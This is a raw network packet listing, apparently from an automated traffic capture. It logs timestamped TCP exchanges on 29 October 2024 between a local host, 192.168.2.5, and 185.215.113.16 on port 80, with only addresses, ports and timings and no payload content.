Oct 29, 2024 05:02:37.074022055 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074060917 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074074984 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074083090 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074109077 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074126005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074153900 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074162960 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074198008 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074206114 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074234962 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074243069 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074270010 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074282885 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074301958 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074314117 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074340105 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074356079 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074408054 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074809074 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074878931 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074930906 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074932098 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.074966908 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074966908 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.074981928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.075016975 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.075025082 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.075050116 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.075061083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.075084925 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.075099945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.075119019 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.075125933 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.075164080 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.075648069 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.075705051 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.105428934 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.105525017 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.105586052 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.105684042 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.105720043 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.105752945 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.105783939 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.105784893 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.105839014 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.105869055 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.105901003 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.105904102 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.105931997 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.105936050 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.105937004 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.105978966 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.148835897 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.148874998 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.148955107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.148967028 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.148974895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149000883 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149008989 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149035931 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149044991 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149070978 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149076939 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149120092 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149123907 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149163008 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149177074 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149210930 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149219036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149245024 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149277925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149279118 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149296999 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149327993 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149724960 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149760962 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149811983 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149817944 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149832010 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149846077 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149879932 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149883032 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149899960 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149914980 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149915934 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.149930954 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.149960041 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.150578976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.150609016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.150635004 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.150648117 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.150660038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.150743008 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.150759935 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.150778055 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.150789022 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.150821924 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.193336010 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193370104 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193386078 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193404913 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193422079 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193437099 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193483114 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193499088 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193515062 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193531036 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193578005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.193578005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.193578005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.193578005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.193578005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.193886995 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193902016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.193948984 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.194035053 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.194051981 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.194068909 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.194077969 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.194082022 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.194099903 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.194114923 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.194410086 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.194456100 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.194463968 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.194473982 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.194504976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.194513083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.219377041 CET	80	49799	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:37.219507933 CET	49799	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:37.224744081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.224828005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.224864006 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.224915981 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.224921942 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.224956036 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.224968910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.224992990 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.225009918 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.225028038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.225042105 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.225061893 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.225075006 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.225095987 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.225106955 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.225130081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.225136042 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.225164890 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.225172997 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.225198984 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.225203037 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.225241899 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.267877102 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.267940044 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268007994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268071890 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268095016 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268126011 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268141031 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268177032 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268178940 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268214941 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268229961 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268260956 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268274069 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268305063 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268326998 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268353939 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268357038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268392086 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268399954 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268426895 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268435955 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268476963 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268696070 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268728971 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268743038 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268773079 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268783092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268815994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268827915 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268850088 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268853903 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268886089 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.268898964 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.268934011 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.269418001 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.269469976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.269485950 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.269535065 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.269541979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.269576073 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.269593000 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.269609928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.269623041 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.269663095 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.312582970 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.312716961 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.312771082 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.312805891 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.312827110 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.312839985 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.312876940 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.312896013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.312900066 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.312930107 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.312941074 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.312966108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.312973022 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.312999964 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313009977 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313045025 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313057899 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313091993 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313106060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313142061 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313147068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313183069 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313195944 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313216925 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313229084 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313256979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313261032 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313304901 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313704014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313740015 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313762903 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313775063 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.313781977 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.313816071 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.343703985 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.343728065 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.343759060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.343764067 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.343775988 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.343786001 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.343791962 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.343800068 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.343810081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.343816042 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.343835115 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.343851089 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.344052076 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.344068050 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.344084024 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.344094038 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.344110966 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.344125032 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.344325066 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.344343901 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.344367981 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.344371080 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.344383001 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.344387054 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.344403028 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.344404936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.344420910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.344436884 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.386955976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.386989117 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387003899 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387013912 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387025118 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387029886 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387048006 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387057066 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387089014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387132883 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387145996 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387181044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387188911 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387216091 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387221098 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387262106 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387515068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387563944 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387567997 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387622118 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387623072 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387656927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387667894 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387691975 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.387701035 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.387733936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.388065100 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.388117075 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.388120890 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.388168097 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.388176918 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.388216019 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.388231039 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.388253927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.388259888 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.388292074 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.388297081 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.388334990 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.388767958 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.388801098 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.388817072 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.388833046 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.388834000 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.388881922 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.431477070 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431519985 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431549072 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.431570053 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.431581020 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431617022 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431623936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.431653023 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431668997 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.431688070 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431699038 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.431730986 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.431865931 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431915045 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.431917906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431953907 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431961060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.431987047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.431997061 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.432023048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.432033062 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.432065010 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.432420015 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.432471037 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.432473898 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.432508945 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.432518959 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.432540894 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.432550907 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.432576895 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.432585955 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.432620049 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.432951927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.433001995 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:37.433007956 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.433041096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:37.433051109 CET	49778	80	192.168.2.5	185.215.113.16
